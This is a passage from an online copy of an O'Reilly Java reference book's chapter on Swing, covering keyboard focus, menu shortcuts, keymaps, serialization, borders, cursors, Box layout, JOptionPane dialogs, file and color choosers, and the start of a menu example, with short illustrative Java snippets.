JScrollPane sets this client property to Boolean.FALSE on the JScrollBar components it creates.

"JSlider.isFilled"

Setting this client property of a JSlider to Boolean.TRUE causes the slider to display a different background color on either side of the slider thumb.

"JToolBar.isRollover"

Setting this client property to Boolean.TRUE on a JToolBar causes the component to highlight the border of whatever child component the mouse is currently over.

"JTree.lineStyle"

This client property specifies how the JTree component draws the branches of its tree. The default value is the string "Horizontal"; other possible values are "Angled" and "None".

Previous | Home | Next
3.6. The Event Dispatch Thread | Book Index | 3.8. Keyboard Shortcuts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Keyboard Shortcuts (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.8. Keyboard Shortcuts

A full-featured user interface does not require the user to use the mouse all the time. Instead, it provides keyboard shortcuts that allow the user to operate the application primarily or entirely with the keyboard. Swing has a number of features that support keyboard shortcuts. Every Swing component is designed to respond to keyboard events and support keyboard operation automatically. For example, a JButton is activated when it receives a KeyEvent that tells it that the user pressed the Spacebar or the Enter key. Similarly, JMenu and JList respond to the arrow keys.

3.8.1. Focus Management

In order for a Swing component to receive keyboard events, it must first have the keyboard focus. In the old days, before graphical interfaces, when you typed on the keyboard, the characters always appeared on the screen. There was only one "window," so there was only one place to send key events. This changes with the introduction of windowing systems and GUIs, however, as there are now lots of places that keyboard events can be directed to. When there is more than one window open on the screen, one window is singled out as the current window (or the focused window). Most windowing systems highlight this window somehow. When you type at the keyboard, it is understood that your keystrokes are directed at the current window.

Just as a screen may contain many application windows, a single application window usually contains many GUI components. An application window must redirect the keyboard events it receives to only one of these components, called the focused component. Like most GUI toolkits, Swing highlights the component that has the keyboard focus, to let the user know where keyboard events are being directed. The details of the highlight depend on the look-and-feel that is currently in effect, but focus is often indicated by drawing a bold border around a component.

A Swing component can be operated from the keyboard when it has the focus. The user can usually direct keyboard focus to a given component by clicking on that component with the mouse, but this defeats the whole point of not using the mouse. The missing piece of the picture is focus traversal, otherwise known as keyboard navigation, which allows the user to use the keyboard to change focus from one component to the next.

Swing uses the Tab key to implement focus traversal. When the user presses Tab, Swing moves the keyboard focus from the current component to the next component that can accept the focus. (Some components, such as JLabel objects, do not respond to keyboard events and are therefore never given the focus.) When the user types Shift-Tab, Swing moves keyboard focus backward to the previous focusable component. By default, keyboard focus moves from left to right and top to bottom within a container. You can override this, however, by setting the nextFocusableComponent property of your components, chaining them together in whatever order you desire.

When a container is given focus through this mechanism, it passes that focus on to its first focusable child. When the focus reaches the last focusable child, some containers relinquish the focus and allow it to move on, while other containers retain the focus and give it back to the first focusable child. You can determine the behavior of a container by calling isFocusCycleRoot(). If this method returns true, the container defines a focus cycle and retains the focus. The user must type Ctrl-Tab to traverse to the next focus cycle or Ctrl-Shift-Tab to traverse to the previous focus cycle. There is no setFocusCycleRoot() method: the only way you can change this behavior is by subclassing a container and overriding the isFocusCycleRoot() method. Also note that multiline text components such as JTextArea and JEditorPane use the Tab key for their own purposes. These components behave like focus cycles, so the user must type Ctrl-Tab to move the focus away from such a component.

An application sometimes needs to set the keyboard focus to a particular component explicitly. You can do this by calling the requestFocus() method of that component. Components typically call requestFocus() themselves under certain circumstances, such as when they are clicked on. If you do not want a component to respond to requestFocus() calls, set its requestFocusEnabled property to false. For example, you might set this property on a JButton so that the user can click on it without taking keyboard focus away from whatever component currently has it.

Swing focus management is handled by the currently installed javax.swing.FocusManager object. You can obtain this object with FocusManager.getCurrentFocusManager(). If you implement your own manager, you can install it with FocusManager.setCurrentFocusManager().

3.8.2. Menu Mnemonics and Accelerators

Although Swing components can all be operated automatically from the keyboard, doing so is often cumbersome. The solution is to provide additional explicit keyboard shortcuts for common actions, as is commonly done with items on pull-down menus. Swing pull-down menus support two traditional types of keyboard shortcuts: mnemonics and accelerators. Figure 3-1 shows both types of menu shortcuts.

Figure 3-1. Swing menu mnemonics and accelerators

A menu mnemonic is a single-letter abbreviation for a menu command. When the menu has already been pulled down, the user can type this single key to invoke that menu item. The mnemonic for a menu item is typically indicated by underlining the letter of the shortcut in the menu item name, which means that you must select a shortcut letter that appears in the menu item label. Mnemonics must be unique within a menu, of course, but multiple menu panes can reuse mnemonics. Items in a menu bar may also have mnemonics. You specify a mnemonic for a menu or a menu item with the setMnemonic() method (inherited from AbstractButton):

JMenu file = new JMenu("File");
file.setMnemonic('F');
JMenuItem save = new JMenuItem("Save");
save.setMnemonic('S');            // Always use a capital letter
file.add(save);

A menu accelerator is a unique keyboard command that can be used to invoke a menu item even when the menu is not displayed. An accelerator is represented by a javax.swing.KeyStroke object and usually includes a keyboard modifier such as Ctrl or Alt. Unlike mnemonics, accelerators can be applied only to menu items, not to menus in a menu bar. You can create an accelerator for a menu item by calling setAccelerator(). To obtain an appropriate KeyStroke object, call the static KeyStroke.getKeyStroke() method with the keycode and modifier mask for the keyboard command you want to use:

JMenuItem save = new JMenuItem("Save");
save.setAccelerator(KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_S,
                                           java.awt.Event.CTRL_MASK));

3.8.3. Keyboard Actions

Sometimes even the keyboard shortcuts supported by menus are not enough. An application may need to define keyboard shortcuts for actions that are not available through the menu system. For example, an application that uses a JScrollPane to display a large drawing might want to allow the user to scroll the drawing with the arrow keys and the PageUp and PageDown keys.

Fortunately, every Swing component maintains a table of KeyStroke-to-ActionListener bindings. When a particular keystroke is bound to an ActionListener, the component will perform the action (i.e., invoke the actionPerformed() method) when the user types the keystroke. You can register a keyboard shortcut for a component with registerKeyboardAction(). For instance:

Action scroll;   // This action object is initialized elsewhere
JPanel panel;    // The application's main container; initialized elsewhere

KeyStroke up = KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_UP);
KeyStroke down = KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_DOWN);
KeyStroke pgup = KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_PAGE_UP);
KeyStroke pgdown=KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_PAGE_DOWN);

panel.registerKeyboardAction(scroll, "lineup", up,
                             JComponent.WHEN_ANCESTOR_OF_FOCUSED_WINDOW);
panel.registerKeyboardAction(scroll, "linedown", down,
                             JComponent.WHEN_ANCESTOR_OF_FOCUSED_WINDOW);
panel.registerKeyboardAction(scroll, "pageup", pgup,
                             JComponent.WHEN_ANCESTOR_OF_FOCUSED_WINDOW);
panel.registerKeyboardAction(scroll, "pagedown", pgdown,
                             JComponent.WHEN_ANCESTOR_OF_FOCUSED_WINDOW);

This code registers four keystrokes that all invoke the scroll action. When the user types one of these keystrokes, the actionPerformed() method is passed an ActionEvent object. The getActionCommand() method of this ActionEvent returns one of the strings "lineup", "linedown", "pageup", or "pagedown". The hypothetical scroll action we are using here would examine this string to determine what kind of scrolling to perform.

The fourth argument to registerKeyboardAction() is a constant that defines under what circumstances the keyboard action should be available to the user. The value used here, WHEN_ANCESTOR_OF_FOCUSED_WINDOW, specifies that the keyboard binding should be in effect whenever the panel or any of its descendants has the focus. You can also specify a value of WHEN_IN_FOCUSED_WINDOW, which means that the keyboard action is available whenever the window containing the component has the focus. This is useful for shortcuts registered on default buttons within dialog boxes. The final allowable value for this argument is WHEN_FOCUSED, which specifies that the key binding is in effect only when the component itself has the focus. This is useful when you are adding key bindings to an individual component like a JTree.

3.8.4. Keymaps

Swing supports a general, yet powerful text-editing subsystem. The javax. swing.text.JTextComponent is the base component in this system; it is the superclass of JTextField, JTextEditor, and JEditorPane, among others.

Because text editing typically involves many keyboard shortcuts, Swing defines the javax.swing.text.Keymap interface, which represents a set of KeyStroke-to-Action bindings. As you might expect, when a text component has the keyboard focus and the user types a keystroke that is bound to an action, the text component invokes that action. A Keymap can have a parent Keymap from which it inherits bindings, making it easy to override a few bindings of an existing keymap without redefining all the bindings from scratch. When you are working with a large number of keyboard shortcuts, it is easier to use a Keymap than to register each one individually with registerKeyboardAction().

JTextComponent defines getKeymap() and setKeymap() methods you can use to query and set the current keymap of a text component. There are no public implementations of the Keymap interface, so you cannot instantiate one directly. Instead, create a new Keymap by calling the static JTextComponent.addKeymap() method. This method allows you to specify a name and parent for the new Keymap. Both arguments are optional, however, so you may pass in null.

Previous | Home | Next
3.7. Client Properties | Book Index | 3.9. Serialization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Serialization (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.9. Serialization

The AWT Component class implements the java.io.Serializable marker interface, and JComponent reimplements this interface. This means that all AWT and Swing components are serializable, or, in other words, the state of an AWT or Swing component can be stored as a stream of bytes that can be written to a file. Components serialized to a file can be restored to their original state at a later date. When a component is serialized, all the components it contains are also automatically serialized as part of the same stream.

You serialize a component (or any serializable object) with the java.io. ObjectOutputStream class and reconstruct a serialized component with the java.io.ObjectInputStream. See Java in a Nutshell for more information about these classes. Because the byte stream format used in serialization changed between Java 1.1 and Java 1.2, Swing components serialized by a Java 1.2 application cannot be deserialized by a Java 1.1 application.

The serializability of Swing and AWT components is a powerful feature that is exploited by some GUI design tools. Thus, an application may create its graphical interface simply by reading and deserializing an already-built interface from a file. This is usually much simpler than creating the components of the GUI individually.

Previous | Home | Next
3.8. Keyboard Shortcuts | Book Index | 3.10. Borders
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Borders (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.10. Borders

Every Swing component inherits a border property from JComponent, so you can call setBorder() to specify a Border object for a Swing component. This Border object displays some kind of decoration around the outside of the component. The javax.swing.border package contains this Border interface and a number of useful implementations of it. Table 3-1 lists the available border styles, and Figure 3-2 illustrates them.

Table 3-1. Swing Border Styles

Border | Description
BevelBorder | Gives the component a beveled edge that makes it appear raised or lowered.
CompoundBorder | Combines two other Border types to create a compound border.
EmptyBorder | A border with no appearance. This is a useful way to place an empty margin around a component.
EtchedBorder | Draws a line around the component, using a 3D effect that makes the line appear etched into or raised out of the surrounding container.
LineBorder | Draws a line, with a color and thickness you specify, around the component.
MatteBorder | Draws the border using a solid color or a tiled image. You specify the border dimensions for all four sides.
SoftBevelBorder | Like BevelBorder, but with somewhat more complex graphics that give the bevel a softer edge.
TitledBorder | A border that combines text with an EtchedBorder or any other border you specify.

Figure 3-2. Swing border styles

The Border implementations defined in javax.swing.border cover just about every possible border you are likely to want to display. But if you ever find yourself needing a specialized border, simply implement the Border interface yourself.

Most of the Border implementations in javax.swing.border are immutable objects, designed to be shared. If two components have the same style of border, they can use the same Border immutable object. The javax.swing.BorderFactory class contains static methods that return various commonly used Border objects suitable for sharing.

Previous | Home | Next
3.9. Serialization | Book Index | 3.11. Icons
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Icons (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.11. Icons

All buttons, labels, and menu items in Swing can display both text and graphic elements. If you are familiar with the AWT, you might expect Swing to use the java.awt.Image class to represent these graphic elements. Instead, however, it uses javax.swing.Icon. This interface represents a graphic element more generally. Its paintIcon() method is called to display the graphic, and this method can do anything necessary to display it.

Swing includes an Icon implementation called ImageIcon. This commonly used class is an Image-based implementation of Icon. ImageIcon also simplifies the process of reading images from external files. One of the constructors for ImageIcon simply takes the name of the desired image file.

A related utility function is the static method GrayFilter.createDisabledImage(). This version produces a grayed-out version of a given Image, which can be used to create an ImageIcon that represents a disabled action or capability.

Previous | Home | Next
3.10. Borders | Book Index | 3.12. Cursors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cursors (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.12. Cursors

The cursor, or mouse pointer, is the graphic that appears on the screen and tracks the position of the mouse. Java support for cursors has evolved in each Java release. Java 1.0 and 1.1 included 14 predefined cursors but did not support custom cursors. In Java 1.0, the predefined cursors were represented by constants defined by java.awt.Frame and they could be specified only for these top-level Frame components. These Frame constants and the corresponding setCursor() method of Frame are now deprecated.

Java 1.1 included a new java.awt.Cursor class and defined a new setCursor() method for all Component objects. Even though cursors had a class of their own in Java 1.1, the Cursor() constructor and the Cursor.getPredefinedCursor() method could still return only the same 14 predefined cursors. Despite their limited number, these predefined cursors are often useful. Figure 3-3 shows what they look like on a Unix machine running the X Window System.

Figure 3-3. The standard Java cursors, on a Unix platform

Java 1.2 includes an API to support custom cursors, at least when running on top of a native windowing system that supports them. In Java 1.2, the Cursor class has a new getSystemCustomCursor() method that returns a named cursor defined by a system administrator in a systemwide cursors.properties file. Since there is no way to query the list of system-specific custom cursors, however, this method is rarely used. Instead, an application may create its own custom cursors by calling the createCustomCursor() method of the Toolkit object. First, however, the application should check whether custom cursors are supported, by calling the getBestCursorSize() method of the Toolkit. If this method indicates a width or height of 0, custom cursors are not supported (by either the Java implementation or the underlying windowing system).

To create a custom cursor, you might use code like this:

Cursor c;
Toolkit tk = Toolkit.getDefaultToolkit();
Dimension bestsize = tk.getBestCursorSize(24,24);
if (bestsize.width != 0)
  c = tk.createCustomCursor(cursorImage, cursorHotSpot, cursorName);
else
  c = Cursor.getDefaultCursor();

Previous | Home | Next
3.11. Icons | Book Index | 3.13. Double-Buffering
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Double-Buffering (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.13. Double-Buffering

Double-buffering is the process of drawing graphics into an off-screen image buffer and then copying the contents of the buffer to the screen all at once. For complex graphics, using double-buffering can reduce flickering. Swing automatically supports double-buffering for all of its components. To enable it, simply call the setDoubleBuffered() method (inherited from JComponent) to set the doubleBuffered property to true for any components that should use double-buffered drawing.

Remember that double-buffering is memory intensive. Its use is typically only justified for components that are repainted very frequently or have particularly complex graphics to display. Note, however, that if a container uses double-buffering, any double-buffered children it has share the off-screen buffer of the container, so the required off-screen buffer is never larger than the on-screen size of the application.

Previous | Home | Next
3.12. Cursors | Book Index | 3.14. The Box Container
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Box Container (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.14. The Box Container

Chapter 2, "Swing and AWTArchitecture", discussed the general task of arranging components within containers and listed the layout managers provided by AWT and Swing. This section describes a commonly used Swing layout management technique in detail. The easiest way to create complex arrangements of Swing components is often with the javax.swing.Box container.[1] Box arranges its components into a single row or a single column. You can then use nested Box containers to create a two-dimensional arrangement of components.

[1]For some reason, Box does not begin with the letter J as other Swing components and containers do. Nevertheless, it is a very useful and commonly used container.

The Box container uses the BoxLayout layout manager, but this layout manager is automatically assigned, so you never need to work with it explicitly. The easiest way to create a Box is with the static Box.createHorizontalBox() or Box.createVerticalBox() method. Once you have created a Box, simply add children to it. They will be arranged from left to right or from top to bottom.

The unique power of the Box actually comes from an inner class called Box.Filler. This class is a simple component that has no appearance; it exists simply to insert blank space in a layout and to affect the resize behavior of the layout. You do not create Box.Filler objects directly. Instead, you create them using the following static methods of Box:

Box.createHorizontalStrut(int width)
Box.createVerticalStrut(int height)
Box.createHorizontalGlue()
Box.createVerticalGlue()

If you are arranging a row of components, you can call createHorizontalStrut() to insert a fixed number of pixels of blank horizontal space. For a column of components, use createVerticalStrut() to insert a blank vertical space.

The glue methods are different. They insert stretchy horizontal or vertical space into a row or column. By default, the space is zero pixels wide or zero pixels high. But, if the row or column is stretched so that it becomes wider or higher than its default size, these glue components stretch to take up that extra space. For example, say you fill a row with some horizontal glue, a JButton component, and some more horizontal glue. Now, no matter how wide the row becomes, the JButton is always centered in it. This is because the two glue components (and possibly the JButton) grow equally to take up the extra space. On the other hand, if the row consists of only one glue component followed by a JButton, the JButton always appears right justified in the row, since the glue component grows to take up all the space to the left of the button.

As another example, consider a Box used in a dialog to hold a row of OK, Cancel, and Help buttons. Without any glue, the buttons are resized to fill up the entire row, with no extra space between them. If we intersperse the three buttons with four glue components, however, the buttons are always nicely spaced out and the buttons and the spaces between them grow proportionally as the dialog box becomes wider.

3.14.1. Minimum, Preferred, and Maximum Sizes

In order to fully understand the behavior of the Box container and its glue, it is important to understand that Swing components can have a minimum size, a preferred size, and a maximum size. Many components have a natural size. For example, with a JButton, the natural size is the space required to accommodate the button text and/or Icon, plus the space required for the button border. By default, a JButton reports its natural size as its minimum size and as its preferred size. When asked for its maximum size, a JButton returns very large integers, indicating that it can grow to become arbitrarily wide and arbitrarily tall.

Swing components (but not AWT components) allow you to specify their minimum, preferred, and maximum sizes. For example, if you do not want to allow a JButton to become arbitrarily large as its container grows larger, you can set a maximum size for it by calling setMaximumSize(). Setting a preferred size for a JButton is an uncommon thing to do, as JButton has a perfectly good natural size. But some components, such as JScrollPane objects, do not have a natural size. For components like these, it is usually important that you establish a default size with setPreferredSize(). If you want to prevent a JScrollPane or similar component from becoming arbitrarily small or arbitrarily large, you should also call setMinimumSize() and setMaximumSize().

Now that you understand the concepts of minimum, preferred, and maximum sizes, we can return to the Box container and its struts and glue. Both struts and glue are instances of the Box.Filler component. When you create a Box.Filler, you are actually specifying minimum, preferred, and maximum sizes for the component. A horizontal strut is simply a Box.Filler with its minimum, preferred, and maximum width set to the number of pixels you specify. A vertical strut has a fixed minimum, preferred, and maximum height.

Horizontal glue has a minimum and preferred width of zero, but a very large maximum width. This means that the glue takes up no space by default but grows as necessary to fill up extra space. Vertical glue does the same thing in the other dimension. In order to understand glue, it is also important to understand how the Box container distributes excess space to its children. If a horizontal Box becomes wider, the extra width is allocated among the children based on their maximum widths. Children with larger maximums are given a proportionally larger amount of the extra space. When you intersperse JButton objects with glue, all the components have effectively infinite maximum widths, so all grow by equal amounts. Suppose, instead, that you restricted the sizes of your buttons like this:

okayButton.setMaximumSize(okayButton.getPreferredSize());
cancelButton.setMaximumSize(cancelButton.getPreferredSize());
helpButton.setMaximumSize(helpButton.getPreferredSize());

In this case, the buttons are already at their maximum sizes, so no extra space is allocated to them. Now the glue between the buttons gets all the extra space.

I just said that glue components have a preferred size of zero. With regard to the example of three buttons interspersed with four glue components, this means that when the row of buttons is displayed at its default size, the buttons bump into one another and appear awkwardly crowded. To remedy this, you might place horizontal struts and horizontal glue between the buttons. In this case, the struts provide the default and minimum spacing, while the glue components make the spacing grow. There is a more efficient way to do this, however. You can explicitly create Box.Filler components that combine the nonzero default size of a strut with the infinite maximum size of a glue object. You can create such a filler object as follows:

Dimension fixedwidth = new Dimension(15, 0);
Dimension infinitewidth = new Dimension(Short.MAX_VALUE, 0);
Box.Filler filler = new Box.Filler(fixedwidth, fixedwidth, infinitewidth);

3.14.2. The Other Dimension

So far, our discussion of the Box container has covered only how components are arranged horizontally in a horizontal box or vertically in a vertical box. What does Box do in the other dimension? When laying out components in a row, the Box makes the row as tall as the tallest component and then attempts to make all the components as tall as the row. Similarly, when it lays out components in a column, Box tries to make all components as wide as the widest component.

As we've discussed, however, components can have a maximum size. If a row becomes taller than a component's maximum height or a column becomes wider than a component's maximum width, the Box must decide how to position the component with respect to the others in the row or column. For a column, the component can be left, center, or right justified or positioned anywhere in between. A component in a row can be aligned along the top or bottom of the row or placed somewhere in between.

A Box positions such a component based on its alignmentX or alignmentY property. Each is a float property that should have a value between 0.0 and 1.0. The default for both is 0.5. When a component needs to be positioned horizontally in a column, the Box uses the alignmentX property. A value of 0.0 means the component is left justified, 1.0 means the component is right justified, and 0.5 means the component is centered. Other values position the component appropriately between these positions. When a Box needs to position a component vertically in a row, it uses the component's alignmentY property to place the component in the vertical plane in an analogous way.

Previous | Home | Next
3.13. Double-Buffering | Book Index | 3.15. Simple Dialogs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Simple Dialogs (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.15. Simple Dialogs

GUIs often use dialog boxes to handle simple interactions with the user. javax.swing.JOptionPane is a Swing component that is designed to serve as a highly configurable body of a dialog box. Instead of using the JOptionPane directly, however, most Swing programs use one or more of the many static methods defined by JOptionPane. These methods make it quite easy to implement simple dialog-based interactions.

If you take a look at the API for JOptionPane, you'll see that the class defines a group of static methods whose names begin with show and another whose names begin with showInternal. The show methods display simple dialog boxes within JDialog windows, while the showInternal methods display the same dialog boxes inside JInternalFrame windows. These static methods are further broken down by the type of dialog they display. There are several versions of showMessageDialog(), showConfirmDialog(), and showInputDialog(), as well as showInternal versions of the same methods. We'll consider these three types of dialogs--message, confirm, and input--in the sections that follow.

3.15.1. Message Dialogs

Message dialogs are used to display important information to users in a way that is difficult or impossible for them to miss. For example, you might use a message dialog to tell the user that a requested file was not found. To display this message with a JOptionPane, you can use code like this:

JOptionPane.showMessageDialog(mainpanel, "The file you requested, " +
                              filename + ", was not found. Please try again");

This code produces the dialog shown in Figure 3-4. The dialog remains visible until the user dismisses it by clicking OK.

Figure 3-4. A JOptionPane message dialog

The first argument to showMessageDialog() is the component over which the dialog is to appear. You typically specify the main window or panel of your application. If you specify null, then the dialog will simply be centered on the screen. The second argument is obviously the message to be displayed. If you look at the API again, however, you'll notice that the message argument to this and other JOptionPane methods is defined as an Object, not a String. This means that you are not limited to textual messages. If you pass a Component or an Icon, the JOptionPane displays it as the message. If you pass some other kind of object, JOptionPane attempts to convert it to a string by calling its toString() method. You can even pass an array of objects as the message argument. When you pass more than one object, the objects are displayed top to bottom in the resulting dialog. So, to display a multiline message, for example, you can just pass in an array of String objects, instead of a single long String.

The showMessageDialog() function has variants that take more arguments. The title argument specifies the text to appear in the titlebar of the dialog. The messageType argument specifies the general type of the message. Legal values are the JOptionPane constants that end with _MESSAGE. The values you are most likely to use are INFORMATION_MESSAGE, WARNING_MESSAGE, and ERROR_MESSAGE. Specifying a message type implicitly specifies the icon that appears in the dialog box. If you don't like the default icons, however, there is a version of showMessageDialog() that lets you specify your own icon to display.

3.15.2. Confirm Dialogs

You can use JOptionPane.showConfirmDialog() or JOptionPane.showInternalConfirmDialog() when you want to ask the user a simple question that requires a Yes or No (or perhaps Cancel) answer. For example, you can use one of these methods to present the dialog shown in Figure 3-5.

Figure 3-5. A JOptionPane confirm dialog

The arguments to showConfirmDialog() are much like the arguments to showMessageDialog(), with the addition of the optionType argument. This argument specifies the set of buttons that appears at the bottom of the dialog. Legal values are OK_CANCEL_OPTION, YES_NO_OPTION, and YES_NO_CANCEL_OPTION.

A confirm dialog asks the user a question. The return value of showOptionDialog() or showInternalOptionDialog() is an integer that represents the user's answer in terms of the button the user clicked to dismiss the dialog. The possible values are OK_OPTION, YES_OPTION, NO_OPTION, CANCEL_OPTION, and CLOSED_OPTION. This last value is returned if the user did not click any of the dialog buttons but instead dismissed the dialog by closing the window. Here is some simple code that asks a question with a confirm dialog (note the use of a string array for the message argument):

int response = JOptionPane.showConfirmDialog(mainpanel, new String[] {
       /* first line of the message */       "There are unsaved files.",
       /* second line of message    */       "Save them before quitting?"},
       /* dialog title              */       "Save Before Quitting?",
       /* what buttons to display   */       JOptionPane.YES_NO_CANCEL_OPTION,
       /* icon type to display      */       JOptionPane.WARNING_MESSAGE);
switch(response) {
  case JOptionPane.YES_OPTION:     saveAndQuit();
  case JOptionPane.NO_OPTION:      quitWithoutSaving();
  case JOptionPane.CANCEL_OPTION:
  case JOptionPane.CLOSED_OPTION:  break;  // Don't quit!
}

3.15.3. Input Dialogs

The showInputDialog() and showInternalInputDialog() methods are designed to ask for input that is more complex than a yes-or-no answer. The simple versions of showInputDialog() support asking a question like "What is your name?" and letting the user type a response in a text input area:

String name = JOptionPane.showInputDialog(frame, "What is your name?");

The more complex version of this method allows the user to select an object from a list or pull-down menu of predefined options.

The arguments to showInputDialog() are quite similar to those passed to showMessageDialog() and showConfirmDialog(). To display a list of options to the user, use the seven-argument version of the method and pass in an array of choices and the default choice to display. For example:

String response = (String) JOptionPane.showInputDialog(
              contentpane,                       // parent
             "Who is your favorite chipmunk?",   // message
             "Pick a Chipmunk",                  // dialog title
              JOptionPane.QUESTION_MESSAGE,      // icon type
              null,                              // no explicit icon
              new String[] {                     // choices
             "Alvin", "Simon", "Theodore"
              },
              "Alvin");                          // default choice
Previous | Home | Next
3.14. The Box Container | Book Index | 3.16. JFileChooser
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JFileChooser (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.16. JFileChooser

javax.swing.JFileChooser is a specialized component that allows the user to browse the filesystem and select a file. The easiest way to use it is with the showOpenDialog() and showSaveDialog() methods. These methods differ only in the text that appears in the "Okay" button. You can also call the showDialog() method and specify your own text for that button. Each of these methods returns an integer status code that specifies how the user dismissed the dialog. If the return value is APPROVE_OPTION, the user actually selected a file, which you can obtain with the getSelectedFile() method. For example:

public void saveAs() {
  JFileChooser chooser = new JFileChooser();
  int result = chooser.showSaveDialog(mainpane);
  if (result == JFileChooser.APPROVE_OPTION)

save(chooser.getSelectedFile());
}

Note that showSaveDialog() and showOpenDialog() are instance methods, not static methods like those used with JOptionPane. This means that you can customize the dialog by setting properties on your JFileChooser object. You may be interested in setting the currentDirectory and fileSelectionMode properties before you display a JFileChooser. fileSelectionMode can be set to FILES_ONLY, DIRECTORIES_ONLY, or FILES_AND_DIRECTORIES. Once you create a JFileChooser for an application, you may want to reuse it, rather than creating a new one each time you need one. If you do so, the JFileChooser automatically remembers the currentDirectory most recently selected by the user.

3.16.1. Using File Filters

The javax.swing.filechooser package defines auxiliary classes that are used by JFileChooser. One of the most important of these is FileFilter. The abstract javax.swing.filechooser.FileFilter class is much like the java.io.FileFilter interface. Each defines an accept() method that is passed File objects and returns true for each file that should be displayed. The FileFilter class used by JFileChooser has an additional getDescription() method that returns a string that names the types of files accepted by the filter. For example, you might define a FileFilter subclass that accepts files with names ending in .htm or .html and returns a description of "HTML Files."

When you create a JFileChooser, you can specify the FileFilter it is to use with setFileFilter(). Alternately, you can specify an array of FileFilter objects with setChoosableFileFilters(). In this case, JFileChooser displays the descriptions of the filters and allows the user to choose one.

3.16.2. Customizing JFileChooser

The behavior of a JFileChooser can be customized by providing your own implementation of FileView and FileSystemView. Both of these abstract classes are defined in the javax.swing.filechooser class. FileView defines methods that affect the way individual files are displayed by the JFileChooser, while FileSystemView defines methods that enable the JFileChooser to handle operating-system dependencies in the filesystem. FileSystemView understands the notion of hidden files, and it can return a complete list of filesystem roots, a capability that was lacking from the basic java.io.File class prior to Java 1.2. The default FileView and FileSystemView classes provided by JFileChooser are perfectly adequate for most purposes, so you typically don't have to implement these classes yourself.

It is also possible to customize a JFileChooser by providing an accessory component. If you pass a JComponent to the setAccessory() method of JFileChooser, the Swing component you specify is displayed in the file chooser dialog box. A common use of a file chooser accessory is as a file preview component. In order to provide a preview of the currently selected file, the accessory must know what the currently selected file is. It can get this information by implementing the PropertyChangeListener interface and listening for changes to the selectedFile property. In order for this to work, you have to pass the accessory object to the addPropertyChangeListener() method of the JFileChooser, of course.

Previous | Home | Next
3.15. Simple Dialogs | Book Index | 3.17. JColorChooser
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JColorChooser (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.17. JColorChooser

Just as JFileChooser allows the user to choose a file, javax.swing.JColorChooser allows the user to choose a color. Figure 3-6 shows a JColorChooser dialog. You can embed a JColorChooser component directly in your application or in a custom dialog box, but the most common way to use it is to simply call the static showDialog() method:

Color c = JColorChooser.showDialog(contentpane,    // Dialog appears over this
                                   "Pick a Color", // Dialog title
                                   Color.white);   // Default color selection

Figure 3-6. A JColorChooser dialog

As you can see from Figure 3-6, JColorChooser displays a color selection pane and a color preview pane. The selection pane is actually a JTabbedPane that allows colors to be selected in three different ways. The Swatches pane lets the user select a color from a palette of color swatches. With the RGB pane, the user picks a color by specifying the red, green, and blue components of the color, while with the HSV pane, the user specifies the hue, saturation, and value components of the color.

Instead of displaying a generic JColorChooser with the static showDialog() method, you can create your own instance of the JColorChooser class. You can then set properties on the color chooser object and display it in any way you want. The static JColorChooser.createDialog() method is useful here. It creates a dialog box to hold your JColorChooser pane and allows you to specify two ActionListener objects that are invoked in response to the OK and Cancel buttons in the dialog box.

You can customize a JColorChooser by adding a new color selection panel or a new color preview panel. To add a new color selection panel (for example, a panel that allows the user to select a grayscale color or a CMYK color), implement a subclass of AbstractColorChooserPanel (from the javax.swing.colorchooser package) and pass it to the addChooserPanel() method of your JColorChooser. Your custom panel contains a ColorSelectionModel that serves as the interface between your pane and the JColorChooser. All your pane needs to do is update the selected color of its ColorSelectionModel (ColorSelectionModel is also part of the javax.swing.colorchooser package).

You can use any JComponent as a custom preview panel for your JColorChooser. Simply pass the component to setPreviewPanel(). The preview component has to track the currently selected color by listening for ChangeEvent events generated by the ColorSelectionModel of the JColorChooser.

Previous | Home | Next
3.16. JFileChooser | Book Index | 3.18. Menus
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Menus (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

3.18. Menus

In Swing, menu bars, menu panes, and menu items are components, just like all other Swing components. JMenuBar is a container designed to hold JMenu objects. JMenu is a container designed to hold JMenuItem objects and other JMenu objects (as submenus). Working with menus is not exactly the same as working with other types of components, however, and Example 3-1 shows a simple example of creating pull-down and pop-up menus.

Example 3-1. Creating Pull-Down and Pop-Up Menus in Swing

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class MenuDemo {
  public static void main(String[] args) {
    // Create a window for this demo
    JFrame frame = new JFrame("Menu Demo");
    JPanel panel = new JPanel();
    frame.getContentPane().add(panel, "Center");

    // Create an action listener for the menu items we will create
    // The MenuItemActionListener class is defined below
    ActionListener listener = new MenuItemActionListener(panel);

    // Create some menu panes, and fill them with menu items
    // The menuItem() method is important.  It is defined below.
    JMenu file = new JMenu("File");
    file.setMnemonic('F');
    file.add(menuItem("New", listener, "new", 'N', KeyEvent.VK_N));
    file.add(menuItem("Open...", listener, "open", 'O', KeyEvent.VK_O));
